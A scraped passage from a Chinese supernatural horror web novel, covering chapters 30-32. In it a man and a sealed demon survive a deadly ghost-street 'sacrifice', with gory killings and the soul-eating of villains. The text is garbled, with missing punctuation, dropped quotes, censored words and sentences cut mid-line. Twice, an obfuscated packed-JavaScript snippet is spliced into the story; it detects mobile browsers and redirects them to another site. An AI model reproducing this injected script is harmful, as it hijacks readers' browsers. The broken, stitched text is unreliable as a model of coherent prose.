方休不在他正好试验自己的力量。锁住他的链子断了一根他能用的因果之力多了一点。 封印压制下他仍然无法看清活人因果。但人死如灯灭连带着因果溃散大半。这种程度的变化如今白双影能够感知—— 属于他的这一半街道**二十八个人。 “救命救命啊……”一声低哑的呼救传入白双影的耳朵。 白双影顿住脚步朝声音的方向看去。 一个肥胖男人缩在街道角落他全身抖如筛糠裤子尿得透湿。 他面前堵着一条人头蜈 蚣。那邪祟的人头没有下颚,只有类似昆虫的口器。它笑弯了双眼,口器咔咔磕碰,津津有味地**猎物。 男人吓得发疯,又不敢大声呼救,只能低声呜咽。 白双影旁观了会儿,缓缓解除隐藏,现出身形。 五光十色的街道上,他这一身素白反而刺目。男人瞧见白双影,眼睛一下子亮了。满街都是奇形怪状的邪祟,突然出现的白双影犹如谪仙。 “救救我,神仙,救救我!” 他陡然提高声音,“您要什么都行,什么都行!” 白双影笑了。 他弯起嘴角,毫不遮掩笑容中的恶意:“你要向我祈求什么?” 他的声音又轻又柔和,月色一般平静。 看到那个笑容,男人本能地瑟缩了下,可他没时间想太多:“救救我,把这东西弄走……等、等我从这出去,我一辈子给您上供!” “哪怕我要人命?”白双影问。 “人命也行,几条都行!”胖男人尖叫。 见他提高音量,人头蜈蚣的口器快怼他脸上了,“快把它弄走,快——” 唰。 如同剪掉一朵花,人头蜈蚣的头颅顷刻离体。无头尸体软软倒地,断口淌出大股黏液。 胖男人即刻松了口气,擦了擦满头冷汗。 “操操操。”他勉强站起身,“这鬼地方,这鬼地方……” 男人突然发现,周围邪祟主动绕开了这个小角落,活像看不到他。只有白双影站在一步外,好整以暇地望着他。 “谢谢大仙!” 胖男人赶忙站直,恭恭敬敬道,“您要几条人命?有没有性别年龄要求?等我离开这儿——” 白双影不答。他只是笑着伸出手,抓住男人的头顶。 下一秒,男人的肉身融化了。 他的血肉顺着骨骼淌下,如同烧熔的蜡。那颗心脏逐渐变形,落地时还在跳动。 男人一双眼在流淌的肉里眨动,仰视着这个怪异的“白衣仙人”,以及他手中异常干净的颅骨——曾经属于他的颅骨。 “你得偿所愿,我收取供奉。” 白双影松开五指,颅骨啪地砸进肉堆,溅起一片血花。随即他低下头,俯视那双眼,脸上仍带着微笑。 “……已收取人命一条。” 胖男人又想尖叫了,可他找不到自己的舌头。他能感觉到,施加在他身上的法术正在消失。满地肉泥逐渐变得凝实,而这不是一个能让人活下去的姿态。 几秒后,那颗变形的心脏停止跳动。 白双影抓住面前的生魂。他思考几秒,把它拍成小圆饼,然后才送入口中。 吃完生魂,白双影步子轻快地往回走。只是刚走两步,他又折返回来 —— 他在胖男人的残骸里扒拉了会儿摸出个哨子法器正好带回去给方休。 …… 白双影回到步行街中央方休正在那里等他。 “我这边**二十三个人你那边呢?”他的人类朋友问道。 一朵血红的焰火刚好炸开焰火之下白双影嘴角微翘。 “二十九个。”他说“我这边**二十九个人。” 方休挠挠头发:“一共**五十二个?也太多了点。” 上次嵬山村祭祀祭祀开场只有四组祭品共十四人。这一次地图小了不少祭品数量倒是加了好几倍。 加上他们这次祭祀至少来了八组祭品。至于现在还剩几组那就不好说了。 如今一看 不过话说回来如果没有嵬山村的磨炼他们组也很难有那么快的反应。 这可真是…… 方休忍不住搓搓手臂上的鸡皮疙瘩。 白双影瞥他:“你怕了?” “不有点兴奋过头。” 方休嘀咕“这回地府的做法有些奇怪 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方休不禁转头看向白双影。 白双影一身素白长袍长发过腰与鲜艳的现代街市仿佛不在一个图层。这会儿他正停在一个网红棉花糖机前兴致勃勃地看摊主拉棉花糖。 机器呼呼旋转雪白绵软的糖团逐 渐成型,外观有点像生魂。白双影那张没什么表情的脸上多了几分跃跃欲试,似乎有点好奇糖团的滋味。 于是方休过去尝了点试吃样品。遗憾的是,这个棉花糖摊位并不特殊,入口依旧一阵空虚。 看方休摇头,白双影垂下眼,眉眼中多了点儿失望。 “走吧。”他兴致阑珊地直起腰,就那样站在原地,一双眼看向方休。 白双影在等他一起走。 方休前进半步,与白双影并肩而行,就像街道上无数年轻的身影。 有点可惜,他要是能带白双影逛真正的夜市就好了。 ……不过,这注定只是一个遥不可及的梦,方休悄悄叹了口气。 为了给接下来的日子保留期待,他们没有一次把街逛完。逛到最后,方休带白双影去了一家名为“怀珍奇宝”的店,店里卖各种小瓷器。 两人在店里足足磨蹭了一个钟。 白双影相中了一只带暗纹的白瓷花瓶,花瓶放在红绸盒里,精致又漂亮,方休也觉得它和那支纸花非常搭。 选中花瓶后,白双影的情绪肉眼可见地好了不少,似乎摆脱了棉花糖的阴霾。 无脸店主全程刷手机,展示他头发稀疏的后脑勺。 方休不确定不给钱会不会犯忌,于是他们记住了花瓶的位置,决定改日再来。 回去到据点后,方休如实汇报“五十二人已死亡”的事实。然后他无视屋内异常沉重的氛围,准备小睡片刻。 他刚在角落铺好纸壳子,白双影便自觉靠到他的身边。方休顺势把脑袋往白双影肩膀上一倚,光速入眠。 不一会儿,他咕咕哝哝说起梦话:“肯定还有其他幸存者……唔……” 见方休睡熟了,白双影扫了眼其他人类。其余人的神色或惊恐或沉重,都是些他看厌了的表情。 短短一瞥后,他决定继续看方休。 方休还在念叨,睡得格外满足:“恶人……生魂月饼……” “生魂月饼不错。”白双影小声说,感受活人热烘烘的身体。 他的人类朋友嘿嘿笑了两声,头又往他的颈窝靠了靠,也不知道听没听见。 可惜半个小时后,方休就醒了—— 成松云、关鹤、贾旭和黄毛摔倒在地,面色煞白,像是突然犯了低血糖。 关鹤懵了,贾旭和黄毛勉强支起身体,狂问怎么回事。成松云倒是还算镇定,她快速描述着自己的感受。 “头很晕,手脚没力气,全身都发冷。” 她盯着方休,吃力地说道,“情况恶化得很快……我们可能犯忌了……” 有点奇怪,方休心想。大家基本一直都在一起,做的事情也都一样。要说犯忌,外出逛街的 他更可能触犯禁忌。结果到头来,只有梅岚和他没事。 等等,只有梅岚和自己? 确实有一件事,只有梅岚和他做过——梅岚为了喂食水鬼,踩**一只邪祟。自己为了试探边界,撞**一只大头鬼。 方休果断离开据点,他从街角抓了只小臂长的虫形邪祟,带到成松云面前:“成姐,杀了它。” 成松云晕晕乎乎地照做,一脚把虫妖踩得爆浆。 接着她眼神骤然清明,人也站稳了,只是脸色变得越发青白。 除了状况外的黄毛,大家多少都意识到了这条禁忌意味着什么。 “到、到了特定时间,必须杀过邪祟才行?”贾旭剧烈喘息,看向店对面小摊——对面摊子上挂着老式时钟,秒针始终在动。 “我刚才看了,是十一点四十五分。”方休说。 “子时三刻。” 贾旭嘟囔,“子时三刻前,必须杀掉一只邪祟,否则就会犯忌……” “如果不补上,身体状况会一直恶化……?” 黄毛骂了句脏话,直接用伥鬼之力强行起身。几分钟后,他从门外回来,身上多了几片邪祟残骸。 “**还真是,杀完立马好。”黄毛骂道,“幸亏这里邪祟多,还不算太难。” “没那么简单。” 成松云语气苦涩,“邪祟自己也在杀邪祟,如果一直没有补充……我是说,要是邪祟都杀完了,只剩咱们的时候,这禁忌该咋算?” 方休下意识看向白双影。来之前,他们刚好聊过相关。 【生魂寄物,算半个邪祟。】 ……如果这条禁忌把他们也算在邪祟里,那乐子可就太大了。 第 31 章 四个熟人 第31章四个熟人 【黄金菩萨。】 子时三刻到,纳命一条。 如果“纳命的范畴包含祭品,白双影觉得这场祭祀简直完美。 “厄向来死板,它不会强行让人犯忌——比如要维护“冒犯嵬山神则死的禁忌,厄会率先创造一个嵬山神,好满足禁忌前提。 ……那么,只要这条街上能死的都死光。新的补充进来前,这里只会剩下他与方休两个人。 有地府鬼契,他们会被视为一体,无需互相残杀。 只要方休解不了厄,他们能在这条街长长久久地生活。再出现新的祭品或邪祟,再杀光就是。如此一年、两年,甚至十年……直到他弄清封印异动为止。 等封印顺利解开,他会把方休细嚼慢咽地吃掉。随后他会降临世间,顺道送方休万千陪葬。 在此之前,他们可以每天都一起逛街,方休肯定会喜欢的。 白双影想象了一下,只觉得心情无比舒畅。 不过想归想,他不打算刻意阻挠方休——要是方休转而和他敌对,事情会变得很无趣。比起强迫方休服从,他更喜欢方休主动陪他挑花瓶。 想到这,白双影走近方休,拿出那个血淋淋的法器哨子。 “路上捡的,送你。 他顺手拨了拨方休的头发。 方休接过哨子,乱发间露出亮闪闪的眼睛:“送我的?真的? 白双影点点头。方休脸色有些红,抿了半天嘴唇,像是在努力压嘴角。 “这法器很厉害?几秒后,方休又问。 白双影:“不,它快坏了,但你可以把它喂给叩地……饭卡,它勉强能召一只无头鬼。 方休微怔,神色认真起来:“这东西真的很有用,谢了。 随后他顿了顿,“我很喜欢。 说罢,方休干脆地咬破手指,往哨子上涂了一点血。 白双影目送哨子进入方休的口袋,又趁机摸了摸方休的脑袋。遗憾的是,他的封印依旧毫无动静。 …… 方休把涂好血的哨子放入口袋,随时准备充饭卡。 等后期邪祟稀少,他召出一只无头鬼杀了,至少能应付一次禁忌。 自从第一次祭祀结束,白双影的态度变得非常主动,这应该不是他的错觉。 尽管面前的形势十分严峻,方休还是冒出了一点儿不合时宜的幸福感。 他的同伴们可就与“幸福 黄毛凭着体力好,出去又抓了两只受伤邪祟。他把它们扔给贾旭和关鹤,姑且帮两人解了围。 “大家尽快行动,最好像上次那样三天解决问题。 贾旭转眼就推翻了先前的说法,“这个禁忌很麻烦,万一它只要求‘杀戮’,不限制‘杀戮邪祟’,咱们搞不好要自相残杀。 黄毛:“啊?外头那么多邪祟,每人每天就杀一只,还好吧。 贾旭忧心忡忡:“万一这条禁忌同样影响邪祟,邪祟数量会指数递减。 黄毛:“啥植树递减? 这回连关鹤都露出了一言难尽的表情。 贾旭不得不向黄毛科普“减半再减半的可怕之处。黄毛听完后嗤之以鼻:“嵬山村那时候,禁忌又没限制邪祟。 贾旭:“嵬山那边不限制,不代表这里不限制。 黄毛想了想,突然嘿嘿笑起来:“那也无所谓。就算自相残杀,我肯定能活到最后。 他的语气相当轻松,就像他们在聊一场游戏,而不是**。 方休笑眯眯插话:“你想活到最后?那你得先杀了我才行。 “到时候你可要快点搞定厄,否则你会一个人活活饿死在这。 黄毛:“…… 黄毛:“贾哥说得对!必须快点找到厄! 这下谁都没心思再等明天了。所有人一致同意,今天就去把所有店都逛一圈,顺便再抓几只邪祟测禁忌。 方休小睡了会儿,精神还不错,完全不介意再和白双影一起溜达溜达。 步行街的店铺种类不多。大部分店铺卖食物和杂货,少数卖衣服和昂贵玩意儿,还有的卖些临时需求—— 比如紧邻牌坊的第一家小店,它主打手机充电、电器维修租借。店里只有个没脸的年轻店员,他夹着根没点燃的烟,倚着杂物间的门刷短视频。 店门口右手边挂着设计艳俗的手机壳,左手边供着尊观音菩萨,布局挺敷衍。 它紧挨着一家奶茶店。奶茶店前头排着三五个顾客,店里两个无脸女孩忙忙碌碌,循环制作同一杯奶茶。奶茶店的对面,就是方休他们挑花瓶的“怀珍奇宝。 白双影看着店员往茶里加虫卵似的珍珠,脸上流露出些许警惕。方休则在兜里掏了片刻,拿出那个几乎没用的紫微讳令牌。 “你说这东西能让邪祟不舒服。方休把玩着小小的令牌。 白双影还盯着那坨珍珠:“是的,效果等于火焰燎一下。 方休直接抬手,把令牌按上一个顾客的脑门——这位无脸先生在等他的奶茶,他一直走来走去,一副耐心不足的模样。 令牌按上那人的脑门,如同按上一团色彩斑斓的液体。方休的手穿模似的穿过那人脑袋,那人却没有半点反应。 方休:“原来不是邪祟。 白双影嗯了声:“大约是幻象一类的东西,也许是厄制造出来 的。” 贾旭竖着耳朵听了挺久闻言立刻出声:“这条街很可能已经荒废了一切都是厄造出来幻象。” “那些食水一样是幻象所以才没法吃!” 黄毛:“有道理有道理。” 方休不置可否。白双影则漠不关心继续观察珍珠噗通掉入奶茶眼看要脱离大部队。 方休笑着扯扯白双影的袖子:“那不是什么怪东西是用木薯粉做的。” 白双影这才把视线收回来随方休一起走:“什么是木薯粉?” 方休:“就是糯米粉那样的植物粉末。” “和糯米差不多?那僵尸会怕这个么?”白双影还惦记着传说中的丧尸片。 “呃这个嘛……” …… 足足五个小时过去他们才筛完街道一侧。时间到了凌晨五点左右天色没有半点变亮的意思众人也没找到气氛不对劲的店。 不少店里供了财神、菩萨或关公这些神像外观正常没有嵬山神那种让人不安的造型。 店家生意好无脸店员忙着干活;店里没客人无脸店员忙着刷手机。现代人的行为就是这么朴实无华。 店外面的食客除了没有脸和日常生活中的没两样。街道上不见肢体冲突更别说**件。 一路下来他们只抓了几只受伤的邪祟关于“厄”的情报半点都没找到。 黄毛:“这地方正常得要死找个屁啊!” “从禁忌找线索更快。现在才一条禁忌没头绪也正常。”贾旭一副很懂的模样“问题是谁都不知道第二条禁忌什么时候出现。” 关鹤龇牙咧嘴忍不住嘀咕了句:“不说废话能死吗?” 好在他把声音控制得很小 他的身后方休放松地观察四周。贾旭的废话从他左耳朵进右耳朵出方休只是时不时看向白双影给他解释某些现代化的小玩意儿。 这一次方休格外注意脚下。一旦从乱斗残骸里找到现金他就小心翼翼拾起来为那个白瓷花瓶存款。 就算只是一时的幻象心意还是心意。 夜空中焰火不停盛开噼噼啪啪直响大有放到世界末日的架势。 …… 众人筛到街道另一侧时事情终于有了转机。 他们在一家饰品店里发现了另一组幸存者。 这组人还剩五个人四男一女。 女人长发遮脸倒在角落一动不动。四个男人也好不到哪里去他们面色发白带着饥饿时特有的焦躁。 男人们腰间挂着红流苏装饰的五个铜钱相当整齐划一想必又是地府出品。 贾旭放轻声音:“搞清禁忌前别惊动他们我 们慢慢……” “白双影,彻底隐藏你自己。”方休低声道。 随即他左臂坎卦一闪,从啤酒杯里捞出两个罐头:“哎呀,你们没事吧?我们这有吃的。” 那音量聋子都能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705262|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听见。 贾旭:“?” 成松云也有些惊讶地看了方休一眼。 方休面露微笑,抱着罐头上前:“这是我们从外头带的,能吃顶饱。” 四个男人对视一眼——准确地说,是三个人同时看向其中一个人。 那**概四十岁上下,身材有些发福,长得慈眉善目。除了腰间的五帝钱,此人脖子上还挂着个金菩萨。 那人思考了不到半秒,笑得满面春风:“谢谢你啊,小兄弟。” 他做了个手势,一个满脸痘坑的壮汉走过来,拿走了那两罐黄桃罐头。 贾旭咳嗽两声,示意方休差不多算了。 “外面**好多人,这场祭祀非常不对劲,大家应该团结互助。” 方休置若罔闻,异常热络地搭话,“先生怎么称呼?” “叫我老金就行,你们这是第几次?” 方休:“第二次,您这边呢?” “差不多,有没有兴趣合作啊?”老金还是笑眯眯的。 贾旭疯狂咳嗽,就差扯着方休的耳朵大喊没有。 “这得问我们老大。”方休一把抓过贾旭,“这是我们贾老板,大精英,人特别聪明。” 老金的目光转向贾旭,贾旭立刻露出生意场标准笑容:“您好您好。” 老金动动眉毛:“你们知道第一个禁忌了吧。每天十一点四十五之前,每个人得弄死一只邪祟。” “大家不如一起抓些弱点儿的邪祟,隔离起来慢慢杀。这样至少能争取几天,专心找厄。” 贾旭干笑,没有立刻回应。 老金见怪不怪地回笑,继续:“听过‘有钱能使鬼推磨’没?我们的法器能催眠邪祟。跟我合作,各位不会亏——” 说罢,他意味深长地瞧了贾旭一眼。 不管贾旭看没看懂,方休知道老金的潜台词。人总要吃饭,如果贾旭不答应合作,他们会用“其他方法”来拿物资。 “合作?我觉得不错。”黄毛说。 “我也觉得很好。”方休原地模仿黄毛,仿佛两人智商加起来不过百。 贾旭猛地转头,似乎想要用眼神痛打他们。回过头后,他的语气又客气起来:“啊,合作也好,合作也好……这几位是?” “麻子,大顺,眼镜。我家员工。”老金温温和和地指向三个男人。 贾旭看向角落里的女人:“那一位?” “别的组的,不认识。”麻子——那个满脸痘坑的壮汉——低声开口。 贾旭 看女人半天没反应,也没再问。 一番商量后,四人决定跟着他们回据点。那家服装店装得下十个人,它还有一个挺大的货品仓库,正适合关一些邪祟。 临离开时,贾旭使劲瞪了方休一眼,方休只当没看见。 成松云小声:“小方,那个姑娘……” “我知道,成姐。”方休小声说,“她是**的,看状态刚死不久。” 她的脖子被拧断,手臂和腿上有淤青。但她的尸身完好无缺,明显不是邪祟所为。 而且看那四个男人的状态,他们在这里待了挺久,连过夜的地方都收拾好了。女孩死亡时,他们一定在场。 “那可能是他们的储备粮,可惜罐头看起来比人好吃。”方休漫不经心地补充。 成松云抿紧嘴巴,一时无言。 方休知道她想问什么:“我们需要这些人。之前那个禁忌到底是不是死忌,‘**’到底算不算数,总不能用自己人试。” “我知道。”成松云小声说,“可万一杀那姑娘的不是他们……” “相信我,绝对是。” 方休走在最后,慢慢关上珠宝店的门。他背对着成松云,成松云看不清他的表情。 见方休话说到这个份儿上,成松云没有再问。白双影倒是好奇起来,在方休身边晃来晃去。 “你为什么那么确定?”他问。 方休看了看四周,又贴过来咬耳朵—— “那四个人的脸,我刚好全都认识。” “白双影,你知道‘毒贩’是什么意思吗?” 第 32 章 血光之灾 第32章血光之灾 【纯良角色。】 听完方休对于“毒贩的解释,白双影有点开心。 照方休的说法,一个**犯最多毁去几个家庭。换做一个毒枭,还会额外催生无数**与毒贩,残害成千上万的人家。 这种人一听就因果丰厚,若是**,生魂要被方圆百里的邪祟争抢吞食。 现在他有足足四个可以吃,中秋节果然很快乐。 不过,白双影的疑虑也更大了:“那你呢,你是统领一国的皇帝,还是杀敌万千的将军?方休为什么有自信比那四个人还美味? “我可不是那种大人物。 方休扫视街道两边,随口答道,“你想,我把山混子杀了,就牵扯进了他的因果。这类人的因果全粘到我身上,我自然是最好吃的。 白双影觉得有道理:“原来如此,你知道他们的脸,是因为你专杀这类人。 方休想了想:“差不多吧。 白双影:“我懂了,你是替人寻仇的侠客。 方休笑了:“没那么正义啦。 白双影沉思:“那就是拿了金银,再替人寻仇的刺客。 这回方休真的笑出了声。他扶住白双影的手臂,喘了好一会儿:“也不太一样,不过你这么一说还挺帅。 白双影趁机把方休的刘海朝后撩,直接捋到发际线。 他目光刮过方休的五官,语气公正:“是挺帅。……对于人类这个族群来说。 方休定在原地,耳廓镶了圈红边。接着他手忙脚乱地薅下刘海,像要用那点头发把整个人裹起来似的。 他咕哝半天,一张利嘴只挤出一句:“还好。 封印依然没有波动,但这不妨碍白双影心情好——方休是个目标明确的刺客,也就是说,他的人类给他找的都是严选优质生魂。 ……而且,能够让方休那张嘴说不出话,还挺让人愉悦。 白双影理理长发,脸上多了点笑意。 方休捏着自己发烫的耳朵,做了几个深呼吸,很快稳住心跳。他可不能真的变成纣王,眼下还有一堆正事要做呢。 这一路上,他始终留心着邪祟们的动向。 一行人刚出来时,街上邪祟稀少,而且都是些小型邪祟。见他们人多,邪祟们基本不敢上前骚扰。 而这五个小时逛下来,明明临近天亮,街上的邪祟却越来越多。那些比人高的邪祟逐个现身,街边暗巷里亮起密密麻麻的眼。 方休一把抓住白双影的手腕,加快回据点的步子:“邪祟怎么变多了?天都要亮了,阴气不该越来越少吗? 还在嵬山村的时候,邪祟们 很不喜欢白天出门,只有些低级邪祟到处晃荡。结果到了这里,状况正好反过来。 难道城里人类喜欢熬夜,城里邪祟也流行熬昼? “不,阴气在变重,要入夜了。白双影由着方休抓着,闭目感受了一番。 方休来了个急刹车:“什么? 白双影微微侧头:“那禁忌的限制并非子时三刻,而是午时三刻。 众人出门那会儿,其实是外界的正午时分,一天中阳气最足的时段。 ……午时三刻? ……表盘上的十一点四十五分不是“深夜11:45,而是“上午11:45? 方休看了眼夜空中的圆月,有种非常不妙的预感。 外界真实的时间是白天,这条街却是夜晚。那要是外界到了夜晚时分,这条街又会变成什么样子? 方休再没有心思在最末尾晃悠,他拉紧白双影,加足马力赶上大部队。 街道不长,众人几分钟就回到了服装店。 一趟外出,他们足足抓了十二只小型邪祟。黄毛和麻子用店里打包的塑料带子捆住它们,再用箱子扣好,隔离在货仓。 十只做为储备,两只用来试验禁忌。 方休看了看服装店的大号玻璃橱窗:“那边有防盗卷帘,咱们把卷帘拉上吧。 鬼知道一会儿外头会变成什么样子,未雨绸缪总没错。 贾旭:“留着,方便观察外面情况。 方休大声:“我看着就害怕。 老金扫了方休一眼,笑呵呵地附和:“拉上吧,安全点。 贾旭:“…… 他叹了口气,叫黄毛出去拉上卷帘。少了外界灯光,屋子里又暗了许多。 眼镜拎了两个装饰用的野营灯回来,屋里不至于伸手不见五指。 方休像是放了心,他当着老金的面发动能力,掏出四只烧鸡、两盘糕饼和一箱杏仁露。 老金的眼神有刹那的闪动,最终定格在“惊喜上。 “厉害,你怎么做到的?老金惊叹。 “我们第一场祭祀的‘厄’是颗糖。我一着急把它吃了,没想到真的算破坏。 方休说,语气恰到好处地混了庆幸和炫耀,“第一个破坏‘厄’还有奖励呢,我怕饿肚子,就挑了这个能力。 贾旭看起来想要晕倒,连黄毛都嘶了声:“不是哥们,你就直说啊? 方休满脸纯良:“啊?大家都是一根绳上的蚂蚱,不要紧吧。 “早晚知道的事,这样更放心,省得人家再担心物资不够。成松云连忙打圆场。 她隐约猜到了方休的目的。只要这个能力暴露,除非迫不得已,那四个人不会对方休下**。 关鹤乖乖没 说话一脸“方休这么干自有他的道理”的架势。 他身板瘦年纪又太小老金一伙人没怎么在意他。眼镜和大顺倒是一直在瞧梅岚。 梅岚性子本来就软如今队伍里加了四个男人她恨不得自己存在感为零。 可惜她没能成功眼镜的目光像条舌头在梅岚小腿上舔来舔去恶心得她换了好几次坐姿。 “姐别担心。” 方休特地拿了瓶罐头亲昵地挨着梅岚坐下“现在人多了总会有办法。给你不是最喜欢罐头了吗?” 他的态度自然得像对待一位亲人。 老金给眼镜丢了个警告的目光眼镜即刻转开视线眼观鼻鼻观心。 就着野营灯的灯光众人饱餐了一顿。蛋白质和糖分双管齐下老金的笑容都真诚了几分。 他没啥架子地问贾旭:“你这边接下来怎么安排?” 贾旭:“白天适合探索咱们各出点人再去外头看看。店里邪祟得有人守着人多了正好轮班。” 接着贾旭含混地介绍了自己组的能力。 他照抄了方休上场祭祀的谎话——他们可以使用厉鬼的能力不过要付出一点代价。他只字不提鬼可以单独行动也没说各自的能力是什么。 奈何贾旭实在紧张一看就有所隐瞒。老金没揭穿他他摸摸腰间的五帝钱:“这法器能迷惑邪祟让邪祟为我们做事。” “邪祟越强、控制越久迷惑效果越差。不过单说上街隐藏自己足够了。” 方休:“咱们真有缘我的能力也是隐藏!看我第二个影子都能藏起来。” 贾旭:“……” 要不是方休后半句丝滑说谎贾旭简直要以为方休中了降智诅咒。 老金哄小孩似的哄方休:“哎哟 随后他冲贾旭半开玩笑道“您这边多才多艺我们可就这五帝钱护着。说来五帝钱认主各位手下留情哈。” 贾旭:“您尽管放心。”他们还没到**越货那一步。 “说回调查这事我们派他上。”老金指向眼镜。 眼镜人如其名他戴着副金丝眼镜面相有些猥琐。 此人体格偏瘦。但和方休那种纤瘦不太一样他体型很虚腰上还带着点赘肉怎么看都不是一个合适的调查者。 贾旭下意识看向高壮的麻子:“这……” 老金:“我们人少得留人看场子。可不是不信任你们啊人总得考虑安全问题。” “我!我想去调查。”方休主动举手。 方休能力确实合适但一个人有风险。贾旭目光在剩下的人里面扫。 黄毛得留下制衡麻子。成松云的怨鬼盾太 宝贵。梅岚也不行她的水鬼要求代价浪费邪祟资源……那就只剩下关鹤。 “方休、关鹤你们和眼镜一起去。”贾旭说。 成松云眉头一皱:“怎么能让小关去呢?” 贾旭:“他的能力适合调查。” “你的不也挺适合?人家小孩还没成年!”成松云不满道。 贾旭面不改色:“第一条禁忌没摸透我得留下主持大局。” 他一开始就把自己排除在外——他要是一走据点除了没脑子的黄毛就只剩下女人小孩这像什么话? 成松云:“那我替他去。” 贾旭:“不行。小关年轻腿脚利索你就在这待着。” 他没提怨鬼盾的事只是警告地盯着成松云。 “大家别吵了没必要没必要。” 方休迅速插到两人之间“成姐年纪确实不合适还是好好歇着吧。成姐你放心我一定好好照顾小关。” “……真是的。” 见方休插手成松云悻悻回到原位脸上还带着残余的怒气。 津津有味看他们吵完老金才慢悠悠开口:“让方小兄弟去不好吧吃饭啥的还指望他呢。” “那没事我命超级硬你看我们老大都放心的。”方休笑着竖起拇指。 眼看方休满脸天真白双影五官慢慢皱起。 好不适应偏偏方休演得很好于是他更不适应了。白双影忍不住站到方休身后指尖滑过方休颈侧。 嗯心跳果然有点快看来方休的骗术没高明到欺骗心脏。 他指尖轻轻一动方休的心脏又快了个拍子。白双影觉得很有意思指尖在方休颈动脉边蹭来蹭去。 最后方休悄悄背过手不轻不重地扯了下他的发尾白双影这才作罢。 老金看不见白双影他见方休脸上多了点血色只当年轻人容易激动。 他对方休的态度格外亲切:“路上小心点大伙都指望你呢。” “那是!”方休开朗道。 关鹤始终没发言他只是默默走到方休身边 决定探索组成员后方休又跑到梅岚身边嘀嘀咕咕“嘱托”了半天有的没的。梅岚大概理解了方休的用意也做出一副和方休关系很好的模样—— 老金他们看重方休的能力不会太快和他撕破脸自然也不会轻易动她。 然而计划不如变化快。 方休这边还没唠叨完外界天色突变。 橱窗被防盗卷帘盖住了唯一能看见外界的地方是那扇门。门是仿古厚木门玻璃只占一半之前只透进来些橙红暖光。 此刻门外一片 血红。 所有颜色都消失了,万事万物覆上了一层暗红色,如同洗胶片的暗房。透过窗户,街上看不到半只邪祟。所有无脸行人凝固在原地,一切仿佛按下暂停键。 气温直线下降,白噪音般的焰火声戛然而止。屋外一片静寂,只剩黏答答的液体滴落声。 渐渐的,门外又响起一阵阵沉闷的呼吸声响。那声音无比巨大,顺着街道缓慢移动,由远及近。 方休一把抓起身边的破旧衣服,冲过去挡窗户。老金使了个眼色,麻子也抓起一团衣服,上去帮忙封住玻璃。 贾旭:“你、你们在干嘛?” 老金扫了他一眼:“不管外头是什么,我可不想被它瞧见。” 那边窗户被挡了个严严实实,这边眼镜和大顺飞快地熄灭了野营灯,屋内一片漆黑。那沉重的呼吸声很快到了门外,像是有人贴在脖颈边用力呼吸。 众人默契地闭嘴,连动都不敢动一下。 谁都没有想到,这一躲就是整整半天。 呼吸声在街上来回巡视。每当呼吸声远去,老金就叫麻子掀开衣角,侧面看看有没有红光透进来。 足足十二个小时过去,血色光晕才彻底消失——老金戴了块劳力士金迪,他照着这里的时钟调过表,一直记着准确的时间。 半天折腾下来,大家精神高度紧张。除了方休偷偷靠着白双影眯了会儿,谁都没能休息好。 街上恢复了热热闹闹的样子,美丽的焰火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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眼镜见走得够远骂了句很脏的话。 关鹤亦步亦趋地跟着方休本能地远离眼镜。方休路上发现一只快断气的小邪祟立刻招呼关鹤补刀。 关鹤小声:“方哥你发现的你先吧。” 方休笑着摇头食指压上嘴唇示意关鹤不要再提这事。 再次看到街道白双影心情好了不少。 先前人太多他和方休都没法自由自在地逛街。这次虽说还带着两个拖油瓶……两个的话他可以努力无视。 他刚想拉走方休 他的语气比贾旭还夸张一副把方休当成小弟的意思。 方休倒也不生气他扯扯面露不爽的白双影:“嗯嗯本来就该我来。眼镜哥你帮我看着点背后。” 白双影仍然不爽:“你要去店后面?” 店后面挤着一大堆邪祟他到那边跟回家一样没有任何逛的意义。 “白双影附近最危险的邪祟在哪?你能感觉到吗?”方休悄悄问他。 白双影果断嗯了声。只是几秒后他的“嗯(四声)”变成了“嗯(二声)”。 “怎么了?” “有点奇怪……罢了。”白双影无所谓地指向某处后巷“最危险的在那条巷子里。那东西速度很慢只要不靠近招惹——” 方休大步流星迎头就冲。 白双影:“……” 白双影眉头微蹙:“……你在做什么?” “赶时间啊搞定了咱们就去逛街。”方休边走边说。 白双影:“哦它就在那边你再快点。” “等我们进巷子你就开隐藏。”方休说“隐藏那只邪祟 。” “为什么?”白双影学会了不懂就问。 “待会儿你就知道了。” 不出方休所料,面对黑漆漆的暗巷,眼镜完全没有率先尝试的意思。方休理所当然地留下关鹤“殿后”,独自走进巷子。 几分钟后,方休一脸惊恐地跑出巷子:“天啊,你们都来看看,垃圾箱里有个人头!” 见方休毫发无伤,眼镜这才挪动脚步。到了地方,后巷光线微弱、空空荡荡,确实只有一排垃圾箱。 眼镜终于放心了:“人头哪儿呢,我看看——啊?!” 方休一脚踹上眼镜后背,随后一把抓住关鹤衣领,连连后撤数米远。眼镜往前踉跄了五六步,才堪堪稳住平衡。 眼镜愤怒地转过身:“**.你——” 脏话还没骂完,他的表情凝固了。 血液喷溅,一条紫黑色的舌头洞穿了他的胸口,将他高高挑到半空。黑色烟气渗入伤口,眼镜脸色逐渐变成吓人的青紫。 白双影撤去隐藏,原本空荡荡的后巷被一只巨型邪祟占满。它看起来像只蟾蜍,整个头颅只有一张骇人巨口,嘴巴里密密麻麻全是尖牙。 眼镜被那邪祟牢牢串在舌头上,血液顺着长舌流入它的口中,它看起来十分享受。 “你……他妈……”眼镜的身体在剧痛中疯狂抽搐。 “严昊,三十四岁,子省籍贯。你在毒枭‘金老板’手下工作了十年,习惯在嫖.娼时**。你因为幻觉发作打死过四个**,全由金老板的人善后。” 